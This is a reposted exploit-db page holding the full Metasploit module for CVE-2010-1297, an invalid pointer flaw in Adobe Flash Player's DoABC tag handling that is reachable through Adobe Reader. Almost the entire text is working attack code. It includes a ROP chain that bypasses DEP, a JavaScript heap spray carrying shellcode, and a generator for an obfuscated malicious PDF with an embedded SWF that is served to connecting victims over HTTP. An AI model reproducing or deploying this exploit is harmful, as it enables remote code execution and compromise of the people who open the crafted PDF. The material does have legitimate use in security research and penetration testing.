Adobe Flash Player – ‘newfunction’ Invalid Pointer Use (Metasploit) (1)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16614/
  • ##
    # $Id: adobe_flashplayer_newfunction.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'zlib'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',
    			'Description'=> %q{
    					This module exploits a vulnerability in the DoABC tag handling within
    				versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also
    				vulnerable, as are any other applications that may embed Flash player.
    
    				Arbitrary code execution is achieved by embedding a specially crafted Flash
    				movie into a PDF document. An AcroJS heap spray is used in order to ensure
    				that the memory used by the invalid pointer issue is controlled.
    
    				NOTE: This module uses a similar DEP bypass method to that used within the
    				adobe_libtiff module. This method is unlikely to work across various
    				Windows versions due a the hardcoded syscall number.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Unknown', # Found being openly exploited
    					'jduck'# Metasploit version
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE', '2010-1297'],
    					['OSVDB', '65141'],
    					['BID', '40586'],
    					['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],
    					# For SWF->PDF embedding
    					['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC'=> 'process',
    					'HTTP::compression' => 'gzip',
    					'HTTP::chunked' => true,
    					'InitialAutoRunScript' => 'migrate -f'
    				},
    			'Payload'=>
    				{
    					'Space'=> 1000,
    					'BadChars' => "\x00",
    					'DisableNops' => true
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd
    					# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
    					# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd
    					[ 'Automatic', { }],
    				],
    			'DisclosureDate' => 'Jun 04 2010',
    			'DefaultTarget'=> 0))
    	end
    
    	def exploit
    		# load the static swf file
    		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-1297.swf" )
    		fd = File.open( path, "rb" )
    		@swf_data = fd.read(fd.stat.size)
    		fd.close
    
    		super
    	end
    
    	def on_request_uri(cli, request)
    
    		print_status("Sending crafted PDF w/SWF to #{cli.peerhost}:#{cli.peerport}")
    
    		js_data = make_js(regenerate_payload(cli).encoded)
    		pdf_data = make_pdf(@swf_data, js_data)
    		send_response(cli, pdf_data, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
    
    		# Handle the payload
    		handler(cli)
    	end
    
    
    	def make_js(encoded_payload)
    
    		# The following executes a ret2lib using BIB.dll
    		# The effect is to bypass DEP and execute the shellcode in an indirect way
    		stack_data = [
    			0xc0c0c0c,
    			0x7004919,# pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
    			0xcccccccc,
    			0x70048ef,# xchg eax,esp / ret
    			0x700156f,# mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
    			0xcccccccc,
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009033,# ret 0x18
    			0x7009084,# ret
    			0xc0c0c0c,
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7009084,# ret
    			0x7001599,# pop ebp / ret
    			0x10124,
    			0x70072f7,# pop eax / ret
    			0x10104,
    			0x70015bb,# pop ecx / ret
    			0x1000,
    			0x700154d,# mov [eax], ecx / ret
    			0x70015bb,# pop ecx / ret
    			0x7ffe0300, # -- location of KiFastSystemCall
    			0x7007fb2,# mov eax, [ecx] / ret
    			0x70015bb,# pop ecx / ret
    			0x10011,
    			0x700a8ac,# mov [ecx], eax / xor eax,eax / ret
    			0x70015bb,# pop ecx / ret
    			0x10100,
    			0x700a8ac,# mov [ecx], eax / xor eax,eax / ret
    			0x70072f7,# pop eax / ret
    			0x10011,
    			0x70052e2,# call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
    			0x7005c54,# pop esi / add esp,0x14 / ret
    			0xffffffff,
    			0x10100,
    			0x0,
    			0x10104,
    			0x1000,
    			0x40,
    			# The next bit effectively copies data from the interleaved stack to the memory
    			# pointed to by eax
    			# The data copied is:
    			# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
    			# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
    			# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
    			0x700d731,# mov eax, [ebp-0x24] / ret
    			0x70015bb,# pop ecx / ret
    			0x9054905a,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x5815eb5a,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x18891a8b,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x8304c083,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0xfb8104c2,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0xc0c0c0c,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x5ebee75,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0xffffe6e8,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x909090ff,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x90909090,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x90909090,
    			0x700154d,# mov [eax], ecx / ret
    			0x700a722,# add eax, 4 / ret
    			0x70015bb,# pop ecx / ret
    			0x90ffffff,
    			0x700154d,# mov [eax], ecx / ret
    			0x700d731,# mov eax, [ebp-0x24] / ret
    			0x700112f # call eax -- (execute stub to transition to full shellcode)
    		].pack('V*')
    
    		var_unescape= rand_text_alpha(rand(100) + 1)
    		var_shellcode = rand_text_alpha(rand(100) + 1)
    
    		var_start = rand_text_alpha(rand(100) + 1)
    
    		var_s = 0x10000
    		var_c = rand_text_alpha(rand(100) + 1)
    		var_b = rand_text_alpha(rand(100) + 1)
    		var_d = rand_text_alpha(rand(100) + 1)
    		var_3 = rand_text_alpha(rand(100) + 1)
    		var_i = rand_text_alpha(rand(100) + 1)
    		var_4 = rand_text_alpha(rand(100) + 1)
    
    		payload_buf = ''
    		payload_buf << stack_data
    		payload_buf << encoded_payload
    
    		escaped_payload = Rex::Text.to_unescape(payload_buf)
    
    		js = %Q|
    var #{var_unescape} = unescape;
    var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
    var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
    while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
    #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
    #{var_b} += #{var_shellcode};
    #{var_b} += #{var_c};
    #{var_d} = #{var_b}.substring(0, #{var_s}/2);
    while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
    #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
    var #{var_4} = new Array();
    for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
    |
    
    		js
    	end
    
    	def RandomNonASCIIString(count)
    		result = ""
    		count.times do
    			result << (rand(128) + 128).chr
    		end
    		result
    	end
    
    	def ioDef(id)
    		"%d 0 obj\n" % id
    	end
    
    	def ioRef(id)
    		"%d 0 R" % id
    	end
    
    
    	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    	def nObfu(str)
    		result = ""
    		str.scan(/./u) do |c|
    			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    				result << "#%x" % c.unpack("C*")[0]
    			else
    				result << c
    			end
    		end
    		result
    	end
    
    
    	def ASCIIHexWhitespaceEncode(str)
    		result = ""
    		whitespace = ""
    		str.each_byte do |b|
    			result << whitespace << "%02x" % b
    			whitespace = " " * (rand(3) + 1)
    		end
    		result << ">"
    	end
    
    
    	def make_pdf(swf, js)
    
    		swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
    
    		xref = []
    		eol = "\n"
    		endobj = "endobj" << eol
    
    		# Randomize PDF version?
    		pdf = "%PDF-1.5" << eol
    		#pdf << "%" << RandomNonASCIIString(4) << eol
    
    		# catalog
    		xref << pdf.length
    		pdf << ioDef(1) << nObfu("<</Type/Catalog")
    		pdf << nObfu("/Pages ") << ioRef(3)
    		pdf << nObfu("/OpenAction ") << ioRef(5)
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# pages array
    		xref << pdf.length
    		pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj
    
    		# page 1
    		xref << pdf.length
    		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
    		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# js action
    		xref << pdf.length
    		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj
    
    		# js stream
    		xref << pdf.length
    		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
    		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    		pdf << "stream" << eol
    		pdf << compressed << eol
    		pdf << "endstream" << eol
    		pdf << endobj
    
    		# swf annotation object
    		xref << pdf.length
    		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
    		pdf << nObfu("/Rect [20 20 187 69] ")
    		pdf << nObfu("/RichMediaSettings ") << ioRef(8)
    		pdf << nObfu("/RichMediaContent ") << ioRef(9)
    		pdf << nObfu("/NM (") << swf_name << nObfu(")")
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# rich media settings
    		xref << pdf.length
    		pdf << ioDef(8)
    		pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
    		pdf << nObfu("/Activation ") << ioRef(10)
    		pdf << nObfu("/Deactivation ") << ioRef(11)
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# rich media content
    		xref << pdf.length
    		pdf << ioDef(9)
    		pdf << nObfu("<</Type/RichMediaContent")
    		pdf << nObfu("/Assets ") << ioRef(12)
    		pdf << nObfu("/Configurations [") << ioRef(14) << "]"
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# rich media activation / deactivation
    		xref << pdf.length
    		pdf << ioDef(10)
    		pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
    		pdf << eol << endobj
    
    		xref << pdf.length
    		pdf << ioDef(11)
    		pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
    		pdf << eol << endobj
    
    		# rich media assets
    		xref << pdf.length
    		pdf << ioDef(12)
    		pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
    		pdf << eol << endobj
    
    		# swf embeded file ref
    		xref << pdf.length
    		pdf << ioDef(13)
    		pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
    		pdf << eol << endobj
    
    		# rich media configuration
    		xref << pdf.length
    		pdf << ioDef(14)
    		pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
    		pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
    		pdf << eol << endobj
    
    		# rich media isntance
    		xref << pdf.length
    		pdf << ioDef(15)
    		pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
    		pdf << nObfu("/Asset ") << ioRef(13)
    		pdf << nObfu(">>")
    		pdf << eol << endobj
    
    		# swf stream
    		# NOTE: This data is already compressed, no need to compress it again...
    		xref << pdf.length
    		pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
    		pdf << "stream" << eol
    		pdf << swf << eol
    		pdf << "endstream" << eol
    		pdf << endobj
    
    		# trailing stuff
    		xrefPosition = pdf.length
    		pdf << "xref" << eol
    		pdf << "0 %d" % (xref.length + 1) << eol
    		pdf << "0000000000 65535 f" << eol
    		xref.each do |index|
    			pdf << "%010d 00000 n" % index << eol
    		end
    
    		pdf << "trailer" << eol
    		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
    
    		pdf << "startxref" << eol
    		pdf << xrefPosition.to_s() << eol
    
    		pdf << "%%EOF" << eol
    		pdf
    	end
    
    end